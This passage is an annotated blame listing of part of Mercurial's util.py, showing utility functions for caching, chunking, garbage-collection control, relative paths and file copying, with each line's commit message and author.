9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1690 else:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1691
9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1692 def f(*args):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1693 if args not in cache:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1694 if len(cache) > 20:
16803 107a3270a24a cleanup: use the deque type where appropriate Bryan O'Sullivan <bryano@fb.com> parents: 16769 diff changeset	1695 del cache[order.popleft()]
9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1696 cache[args] = func(*args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1697 else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1698 order.remove(args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1699 order.append(args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1700 return cache[args]
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1701
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1702 return f
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1703
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1704
8207 dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1705 class propertycache(object):
dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1706 def __init__(self, func):
dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1707 self.func = func
dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1708 self.name = func.__name__
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1709
8207 dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1710 def __get__(self, obj, type=None):
dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1711 result = self.func(obj)
18013 98c867ac1330 clfilter: add a propertycache that must be unfiltered Pierre-Yves David <pierre-yves.david@logilab.fr> parents: 17962 diff changeset	1712 self.cachevalue(obj, result)
8207 dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1713 return result
dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1714
18013 98c867ac1330 clfilter: add a propertycache that must be unfiltered Pierre-Yves David <pierre-yves.david@logilab.fr> parents: 17962 diff changeset	1715 def cachevalue(self, obj, value):
19951 d51c4d85ec23 spelling: random spell checker fixes Mads Kiilerich <madski@unity3d.com> parents: 19852 diff changeset	1716 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
19845 a1237a4b437d repoview: make propertycache.setcache compatible with repoview Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 19461 diff changeset	1717 obj.__dict__[self.name] = value
18013 98c867ac1330 clfilter: add a propertycache that must be unfiltered Pierre-Yves David <pierre-yves.david@logilab.fr> parents: 17962 diff changeset	1718
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1719
35053 be6aa0cff8ea util: add util.clearcachedproperty Mark Thomas <mbthomas@fb.com> parents: 34647 diff changeset	1720 def clearcachedproperty(obj, prop):
be6aa0cff8ea util: add util.clearcachedproperty Mark Thomas <mbthomas@fb.com> parents: 34647 diff changeset	1721 '''clear a cached property value, if one has been set'''
40728 475921a3028c py3: cast attribute name to sysstr in clearcachedproperty() Yuya Nishihara <yuya@tcha.org> parents: 40251 diff changeset	1722 prop = pycompat.sysstr(prop)
35053 be6aa0cff8ea util: add util.clearcachedproperty Mark Thomas <mbthomas@fb.com> parents: 34647 diff changeset	1723 if prop in obj.__dict__:
be6aa0cff8ea util: add util.clearcachedproperty Mark Thomas <mbthomas@fb.com> parents: 34647 diff changeset	1724 del obj.__dict__[prop]
be6aa0cff8ea util: add util.clearcachedproperty Mark Thomas <mbthomas@fb.com> parents: 34647 diff changeset	1725
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1726
7396 526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1727 def increasingchunks(source, min=1024, max=65536):
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1728 '''return no less than min bytes per chunk while data remains,
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1729 doubling min after each chunk until it reaches max'''
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1730
7396 526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1731 def log2(x):
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1732 if not x:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1733 return 0
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1734 i = 0
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1735 while x:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1736 x >>= 1
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1737 i += 1
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1738 return i - 1
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1739
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1740 buf = []
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1741 blen = 0
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1742 for chunk in source:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1743 buf.append(chunk)
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1744 blen += len(chunk)
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1745 if blen >= min:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1746 if min < max:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1747 min = min << 1
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1748 nmin = 1 << log2(blen)
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1749 if nmin > min:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1750 min = nmin
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1751 if min > max:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1752 min = max
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1753 yield b''.join(buf)
7396 526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1754 blen = 0
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1755 buf = []
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1756 if buf:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1757 yield b''.join(buf)
7396 526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1758
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1759
10282 08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1760 def always(fn):
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1761 return True
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1762
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1763
10282 08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1764 def never(fn):
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1765 return False
724 1c0c413cccdd Get add and locate to use new repo and dirstate walk code. Bryan O'Sullivan <bos@serpentine.com> parents: 705 diff changeset	1766
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1767
23495 b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1768 def nogc(func):
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1769 """disable garbage collector
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1770
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1771 Python's garbage collector triggers a GC each time a certain number of
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1772 container objects (the number being defined by gc.get_threshold()) are
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1773 allocated even when marked not to be tracked by the collector. Tracking has
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1774 no effect on when GCs are triggered, only on what objects the GC looks
23543 4dd8a6a1240d spelling: fixes from proofreading of spell checker issues Mads Kiilerich <madski@unity3d.com> parents: 23495 diff changeset	1775 into. As a workaround, disable GC while building complex (huge)
23495 b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1776 containers.
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1777
33820 05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1778 This garbage collector issue have been fixed in 2.7. But it still affect
05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1779 CPython's performance.
23495 b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1780 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1781
23495 b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1782 def wrapper(args, *kwargs):
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1783 gcenabled = gc.isenabled()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1784 gc.disable()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1785 try:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1786 return func(args, *kwargs)
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1787 finally:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1788 if gcenabled:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1789 gc.enable()
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1790
23495 b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1791 return wrapper
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1792
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1793
33820 05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1794 if pycompat.ispypy:
05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1795 # PyPy runs slower with gc disabled
05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1796 nogc = lambda x: x
05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1797
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1798
4229 24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1799 def pathto(root, n1, n2):
886 509de8ab6f31 Fix walk path handling on Windows Bryan O'Sullivan <bos@serpentine.com> parents: 884 diff changeset	1800 '''return the relative path from one place to another.
4229 24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1801 root should use os.sep to separate directories
3669 48768b1ab23c fix util.pathto Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 3629 diff changeset	1802 n1 should use os.sep to separate directories
48768b1ab23c fix util.pathto Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 3629 diff changeset	1803 n2 should use "/" to separate directories
48768b1ab23c fix util.pathto Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 3629 diff changeset	1804 returns an os.sep-separated path.
4229 24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1805
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1806 If n1 is a relative path, it's assumed it's
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1807 relative to root.
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1808 n2 should always be relative to root.
3669 48768b1ab23c fix util.pathto Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 3629 diff changeset	1809 '''
10282 08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1810 if not n1:
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1811 return localpath(n2)
4230 c93562fb12cc Fix handling of paths when run outside the repo. Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4229 diff changeset	1812 if os.path.isabs(n1):
c93562fb12cc Fix handling of paths when run outside the repo. Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4229 diff changeset	1813 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
c93562fb12cc Fix handling of paths when run outside the repo. Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4229 diff changeset	1814 return os.path.join(root, localpath(n2))
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1815 n2 = b'/'.join((pconvert(root), n2))
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1816 a, b = splitpath(n1), n2.split(b'/')
1541 bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX twaldmann@thinkmo.de parents: 1528 diff changeset	1817 a.reverse()
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX twaldmann@thinkmo.de parents: 1528 diff changeset	1818 b.reverse()
884 087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types. Bryan O'Sullivan <bos@serpentine.com> parents: 878 diff changeset	1819 while a and b and a[-1] == b[-1]:
1541 bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX twaldmann@thinkmo.de parents: 1528 diff changeset	1820 a.pop()
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX twaldmann@thinkmo.de parents: 1528 diff changeset	1821 b.pop()
884 087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types. Bryan O'Sullivan <bos@serpentine.com> parents: 878 diff changeset	1822 b.reverse()
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1823 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
884 087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types. Bryan O'Sullivan <bos@serpentine.com> parents: 878 diff changeset	1824
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1825
43713 9fb85668ee15 util: move definition of datapath to resourceutil Martin von Zweigbergk <martinvonz@google.com> parents: 43712 diff changeset	1826 datapath = resourceutil.datapath
22638 0d0350cfc7ab i18n: use datapath for i18n like for templates and help Mads Kiilerich <madski@unity3d.com> parents: 22633 diff changeset	1827
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1828
7388 5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1829 def checksignature(func):
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1830 '''wrap a function with code to check for calling errors'''
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1831
7388 5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1832 def check(args, *kwargs):
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1833 try:
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1834 return func(args, *kwargs)
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1835 except TypeError:
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1836 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
7646 e62a456b8dc5 error: move SignatureError Matt Mackall <mpm@selenic.com> parents: 7644 diff changeset	1837 raise error.SignatureError
7388 5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1838 raise
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1839
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1840 return check
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1841
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1842
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1843 # a whilelist of known filesystems where hardlink works reliably
32331 bd872f64a8ba cleanup: use set literals Martin von Zweigbergk <martinvonz@google.com> parents: 32330 diff changeset	1844 _hardlinkfswhitelist = {
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1845 b'apfs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1846 b'btrfs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1847 b'ext2',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1848 b'ext3',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1849 b'ext4',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1850 b'hfs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1851 b'jfs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1852 b'NTFS',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1853 b'reiserfs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1854 b'tmpfs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1855 b'ufs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1856 b'xfs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1857 b'zfs',
32331 bd872f64a8ba cleanup: use set literals Martin von Zweigbergk <martinvonz@google.com> parents: 32330 diff changeset	1858 }
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1859
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1860
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1861 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
27369 c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1862 '''copy a file, preserving mode and optionally other stat info like
29367 4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1863 atime/mtime
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1864
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1865 checkambig argument is used with filestat, and is useful only if
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1866 destination file is guarded by any lock (e.g. repo.lock or
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1867 repo.wlock).
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1868
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1869 copystat and checkambig should be exclusive.
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1870 '''
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1871 assert not (copystat and checkambig)
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1872 oldstat = None
18326 614f769e6aa7 util: copyfile: remove dest before copying Mads Kiilerich <mads@kiilerich.com> parents: 18026 diff changeset	1873 if os.path.lexists(dest):
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1874 if checkambig:
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	1875 oldstat = checkambig and filestat.frompath(dest)
18326 614f769e6aa7 util: copyfile: remove dest before copying Mads Kiilerich <mads@kiilerich.com> parents: 18026 diff changeset	1876 unlink(dest)
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1877 if hardlink:
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1878 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1879 # unless we are confident that dest is on a whitelisted filesystem.
31683 1ed57a7dd904 statfs: make getfstype() raise OSError Yuya Nishihara <yuya@tcha.org> parents: 31667 diff changeset	1880 try:
1ed57a7dd904 statfs: make getfstype() raise OSError Yuya Nishihara <yuya@tcha.org> parents: 31667 diff changeset	1881 fstype = getfstype(os.path.dirname(dest))
1ed57a7dd904 statfs: make getfstype() raise OSError Yuya Nishihara <yuya@tcha.org> parents: 31667 diff changeset	1882 except OSError:
1ed57a7dd904 statfs: make getfstype() raise OSError Yuya Nishihara <yuya@tcha.org> parents: 31667 diff changeset	1883 fstype = None
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1884 if fstype not in _hardlinkfswhitelist:
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1885 hardlink = False
31583 e7a02e9ad162 util: enable hardlink for copyfile Jun Wu <quark@fb.com> parents: 31581 diff changeset	1886 if hardlink:
23899 4e451d1359de copyfile: allow optional hardlinking Pierre-Yves David <pierre-yves.david@fb.com> parents: 23864 diff changeset	1887 try:
4e451d1359de copyfile: allow optional hardlinking Pierre-Yves David <pierre-yves.david@fb.com> parents: 23864 diff changeset	1888 oslink(src, dest)
4e451d1359de copyfile: allow optional hardlinking Pierre-Yves David <pierre-yves.david@fb.com> parents: 23864 diff changeset	1889 return
4e451d1359de copyfile: allow optional hardlinking Pierre-Yves David <pierre-yves.david@fb.com> parents: 23864 diff changeset	1890 except (IOError, OSError):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1891 pass # fall back to normal copy
4271 1eaa8d90c689 fix util.copyfile to deal with symlinks Eric St-Jean <esj@wwd.ca> parents: 4256 diff changeset	1892 if os.path.islink(src):
1eaa8d90c689 fix util.copyfile to deal with symlinks Eric St-Jean <esj@wwd.ca> parents: 4256 diff changeset	1893 os.symlink(os.readlink(src), dest)
27369 c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1894 # copytime is ignored for symlinks, but in general copytime isn't needed
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1895 # for them anyway
4271 1eaa8d90c689 fix util.copyfile to deal with symlinks Eric St-Jean <esj@wwd.ca> parents: 4256 diff changeset	1896 else:
1eaa8d90c689 fix util.copyfile to deal with symlinks Eric St-Jean <esj@wwd.ca> parents: 4256 diff changeset	1897 try:
